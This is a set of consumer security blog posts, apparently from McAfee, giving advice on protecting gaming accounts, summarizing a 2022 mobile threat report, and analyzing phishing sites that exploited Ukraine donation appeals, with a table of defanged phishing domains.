In recent years, we’ve also seen the rise of in-game currencies that players can purchase for cash, again by design and with the support of the developer. A couple of examples are the World of Warcraft Tokens and Minecraft tokens and coins. What you can do with such tokens and coins varies from game to game, yet players can use them to acquire in-game currency, items, or paid to play time.
Increasingly common are in-game stores that allow players to purchase items and perks with cash, just like any other online store. Taken together with all the other ways a player can round up items in a game, it’s easy to see how a gamer’s account can grow into something somewhat unique and valuable over time, simply by playing and participating in the game.
With the time it takes for a player to level up a powerful character and acquire the items that can come along with it, there are out-of-game organizations that will, for a fee, do that work for a player in return for payment. Essentially it involves a player starting a gaming account, rolling up a character, and then handing over the account to a “booster” who will play the game on the owner’s behalf. When the agreed-upon level is reached, the booster hands back the character to the owner.
Of course, there are all kinds of potential problems with this. Strictly from a security standpoint, this means an account owner is handing over their credentials to a stranger, with no real guarantee that this stranger simply won’t change the account password, never hand back the account, and simply walk away with any funds that may have been paid upfront.
Further, “boosting” and other similar services may be against the user agreement the player signed when joining up for the game. For example, World of Warcraft recently updated its policy, stating that they now,
[P]rohibit organizations who offer boosting, matchmaking, escrow, or other non-traditional services, including those offered for gold. World of Warcraft accounts found to be in violation of this policy are subject to account actions. These actions can include warnings, account suspensions and, if necessary, permanent closure of the disruptive World of Warcraft account(s).
So while “boosting” services may not be illegal themselves, they can run counter to user agreements and may lead to cases of fraud when a booster service fails to fulfill its commitment or simply locks a player out of their own account.
Then there’s the theft and resale of online game accounts, clear examples of digital goods illegally changing hands. Stolen accounts make their way into dark web marketplaces and ads on chat platforms and social media, thanks to hackers who’ve cracked previously legitimate accounts and then packaged them up for sale. In some instances, cybercriminals will sell entire game collections, such as online gaming platform accounts where gamers may have purchased and have access to dozens and dozens of games stored in the cloud.
The method behind this theft is much like a credit card or bank account hack. Often using credentials lifted from a data breach, hackers will take known usernames and passwords and feed them into a credential stuffing application—which can then attempt to access hundreds, even thousands, of accounts through automated login requests.
Given that many users out there use the same passwords across their accounts makes them an easy target for this practice and can reap a large harvest of cracked accounts. From there, the account can be accessed, have its password changed, and then made ready for advertising and sale, where an account can be resold for a few dollars, or for potentially thousands depending on what the account contains.
There’s plenty you can do. A few simple steps on your part can drop some serious roadblocks in the way of a hacker who’s looking to crack your account or target you for a scam.
Each of your accounts should have its own strong, unique password. No repeats. And if you have some sixty-plus accounts across all the shopping, banking, gaming, and forum posting you do, not to mention your apps, that sounds like a lot of work. Because it is. Although it doesn’t have to be. A password manager can do the work for you by creating and storing strong, unique passwords for you.
Data breaches happen all the time now, striking businesses both large and small. If a business or organization where you have an online account gets breached, change your password right away. Related to the above, make sure the passwords across your other accounts are strong and unique. It’s not uncommon for hackers to try breaching passwords in other accounts, all in the hope that the victim is using the same or a similar password on other accounts as well.
Several gaming services offer multi-factor authentication (MFA) as a means of protecting accounts. In addition to requiring a username and password to log in, MFA further verifies account activity by sending a unique code to the email address or text to a device you own, which makes gaining illegal access that much tougher for hackers. Some gaming platforms even support an authentication app, such as the Battle.net Authenticator, offered by Blizzard. In all, the occasional extra clicks required by MFA can really save you some massive headaches by preventing theft. If you have MFA as an option, strongly consider using it.
Phishing attacks have made the jump from email to bogus ads on social media and in search too. In short, a phishing attack involves the hacker posing as a well-known company or organization with the intent of fooling you into providing your username and password. With that, they can drain your account, whether it’s money from your bank account or goods in your gaming account. Spotting phishing attacks can call for a sharp eye nowadays because some hackers can make the phishing emails and sites they use look like the real thing. Comprehensive online protection software will include web protection that can spot bogus links and sites and warn you away from them, even if they look legit.
Spearphishers are a special sort, in that they make more targeted attacks. While a phisher will send out an email blast or attempt to rope in a high volume of victims with an ad, a spearphisher will send a direct message to specific, potential victims. You may have seen or heard of this in massively multiplayer online games where an otherwise unknown player sends a message to another with a link to a website, complete with the promise of loot, in-game currency, or services to level up characters. Ignore and don’t visit that link. Chances are it’s a scammer, or at least someone who may be breaking the game’s user agreement by offering such services.
Whether you’re downloading a mod, an expansion, or a new game itself, go with a reputable online store or source. Hackers will drop malware into all kinds of files and applications, games included. Given that such malware could log keystrokes that steal login info, inject ransomware code to hold your device and data hostage, or simply wreak havoc on your files and things, it can have implications for more than just your gaming accounts and the virtual assets you have with them.
Hackers know there’s good money in gaming accounts. They wouldn’t bother with them otherwise. Realizing that your gaming account has value is the first step to protecting it.
In addition to taking the steps above, consider comprehensive online protection software. It offers defense in breadth and depth, covering everything from device security, privacy, and identity protection. However, if you want an even faster and safer gaming experience, gamer security is worth looking into. In addition to strong security features, it also offers performance-enhancing technologies that prioritize system resources and keep your gameplay going smooth.
In all, keep in mind that gaming accounts are serious business for hackers. Put up your defenses. Then get out and enjoy yourself, knowing that you have made it far, far tougher for them to ruin your fun.
The post Lock Down & Level Up: Protect Your Online Gaming from Hackers appeared first on McAfee Blog.
We’re excited to bring you the latest edition of the McAfee 2022 Consumer Mobile Threat Report. After all, when you know the challenges you face, it’s easier to be confident online. In this blog, we’ll take a closer look at some leading examples of techniques that cybercriminals are using to trick or defraud you via your mobile phone. These examples are some of the more sophisticated attacks, using real logos, quality graphics, and personalized messages. We hope this provides a useful resource for protecting your digital life, mobile devices, and personal information so that you can enjoy a safe life online with your family.
Cybercriminals are upping their game, using personal information and high-quality graphics to make their malware look like legitimate apps or official messages. Because these attacks are successful at defrauding significant numbers of mobile users out of their money and information, more criminals will jump on this approach or expand their malicious campaigns. Let’s take a look at some of the different techniques being used by scammers to fool mobile users.
Mobile smishing (aka phishing text messages) are attacks using personalized greetings in text messages that pretend to be from legitimate organizations to appear more credible. These messages often link to websites with authentic logos, icons, and other graphics, prompting the user to enter personal information or download an app. Users should be extra careful about text messages from unknown sources and should go directly to the organization’s website to validate requests.
Cheating tools and hacking apps are popular ways to get extra capabilities in mobile games. Criminals are exploiting this by promoting game hacking apps that include malicious code on legitimate messaging channels. If installed, the malware steals account credentials for social media and gaming accounts. Gamers should use caution when installing game hacks, especially if they request superuser permissions.
Cryptocurrencies are providing new opportunities for mobile device attacks. The latest ploy is phony apps that promise to mine coins in the cloud for a monthly fee. Fake reviews and a low cost make them sound too good to be true—and they are. These apps just take the money without doing any coin mining. With no actual malicious code, these apps are hard to detect, so users should be suspicious of being promised hundreds or thousands of dollars of crypto coins for just a few dollars a month.
Another attack uses a variety of fake apps with slick graphics to trick users into premium subscriptions. Hundreds of these apps promise features such as mobile games or photo editing and are supported by plenty of fake five-star reviews. When installed, the apps ask for the user’s phone number and verification PIN and use them to sign up for premium text services that direct payments to the criminals. Users should read reviews looking for vague statements, repetitive wording, and a mix of five-star and one-star ratings. For a deeper dive into the scams, be sure to view full report.
While threat tactics continue to change as criminals adapt and respond to detection and enforcement techniques, there are a few steps users should take to limit their exposure and risk.
While some malicious apps do make it through the app store screening process, most of the attack downloads appear to be coming from social media, fake ads, and other unofficial app sources. Before downloading something to your phone, do some quick research about the source and developer. Many of these scams have been flagged by other people.
Many malicious apps get the access they need by asking the user to grant them permission to use unrelated privileges and settings. When installing a new app, take a few moments to read these requests and deny any that seem unnecessary, especially for superuser access and accessibility services.
Developers are actively working to identify and address security issues. Both operating systems and apps should be frequently updated so that they have the latest fixes and security protections.
Cybercriminals often flood their Google Play apps with fake five-star reviews. Many fake or malicious apps only have a mix of five-star and one-star reviews. The five-star ones typically have vague statements and repetitive wording, giving clues that they are submitted by bots. Compare them to the one-star reviews for insight on the app’s real capabilities.
Devices that are behaving unusually may just have a basic tech issue but it can also be a sign of being hacked. Follow up when something is not quite right, check recent changes or contact tech support from the mobile device vendor or security software provider.
Comprehensive security software across all devices, whether they are computers, tablets, or smartphones, continues to be a strong defensive measure to protect your data and privacy from cyber threats.
We hope this report helps you stay on the lookout for these and other mobile threats so you can safely and confidently enjoy your life online.
The post McAfee 2022 Consumer Mobile Threat Report appeared first on McAfee Blog.
Authored by Vallabh Chole and Oliver Devane
Scammers are very quick at reacting to current events, so they can generate ill-gotten gains. It comes as no surprise that they exploited the current events in Ukraine, and when the Ukrainian Twitter account tweeted Bitcoin and Ethereum wallet addresses for donations we knew that scammers would use this as a lure for their victims.
This blog covers some of the malicious sites and emails McAfee has observed in the past few weeks.
A crypto donation scam occurs when perpetrators create phishing websites and emails that contain cryptocurrency wallets asking for donations. We have observed several new domains being created which perform this malicious activity, such as ukrainehelp[.]world and ukrainethereum[.]com.
Below is a screenshot of Ukrainehelp[.]world, which is a phishing site asking for crypto donations for UNICEF. The website contains the BBC logo and several crypto wallet addresses.
While investigating this site, we observed that the Ethereum wallet used use was also associated with an older crypto scam site called eth-event20.com. The image below shows the current value of the crypto wallet which is worth $114,000. Interestingly this wallet transfers all its coins to 0xc95eb2aa75260781627e7171c679a490e2240070 which in turn transfers to 0x45fb09468b17d14d2b9952bc9dcb39ee7359e64d. The final wallet currently has 313 ETH which is worth over $850,000. This shows the large sums of money scammers can generate with phishing sites.
Ukrainethereum[.]com is another crypto scam site, but what makes this one interesting is the features it contains to gain the victim’s confidence in trusting the website such as a fake chatbox and a fake donation verifier.
The image above shows the chatbox on the left-hand side which displays several messages. At first glance, it would appear as if other users are on the website and talking, but when you reload the site it shows the same messages. This is due to the chat messages being displayed from a list that is used to populate the website with JavaScript code as shown on the right-hand side.
The site contains a donation checker so the victim can see if their donation was received, as shown below.
The following image shows one of the examples of phish emails we have observed.
The email is not addressed to anyone specifically as they are mass-mailed to multiple email addresses. The wallet IDs in the email are not associated with the official Ukraine Twitter and are owned by scammers. As you can see in the image above, they are similar as the first 3 characters are the same. This could lead to some users believing it is legitimate. Therefore, it’s important to check that the wallet address is identical.
This is the most common type of phishing website. The goal of these sites it entices the victim into entering their credit card and personally identifiable information (PII) data by making them believe that the site being visited is official. This section contains details on one such website we have found using Ukraine donations as a lure.
The image below shows the phishing site. The website was used to save the children’s NGO links and images, which made it appear more genuine. You can see that is it asking the victim to enter their credit card and billing information.
Once the data is entered, and the victim clicks on ‘Donate’, the information will be submitted via the form and will be sent to scammers so they can then use or sell the information.
We observed that a few days after the website was created, the scammers change the site code so that it became a Mcdonald’s phishing site targeting the Arab Emirates. This was a surprising change in tactics.
The heatmap below shows the detections McAfee has observed around the world for the malicious sites mentioned in this blog.
For general cyber scam, education click here
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
Type | Value | Product | Detected |
URL – Phishing Sites | ukrainehelp[.]world | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainethereum[.]com | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | unitedhelpukraine[.]kiev[.]ua/ | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | donationukraine[.]io/donate | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | help-ukraine-compaign[.]com/shop | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainebitcoin[.]online/ | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainedonation[.]org/donate | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainewar[.]support | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | sendhelptoukraine[.]com | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | worldsupportukraine[.]com | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | paytoukraine[.]space | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | razonforukraine[.]com | McAfee WebAdvisor | Blocked |
The post Scammers are Exploiting Ukraine Donations appeared first on McAfee Blog.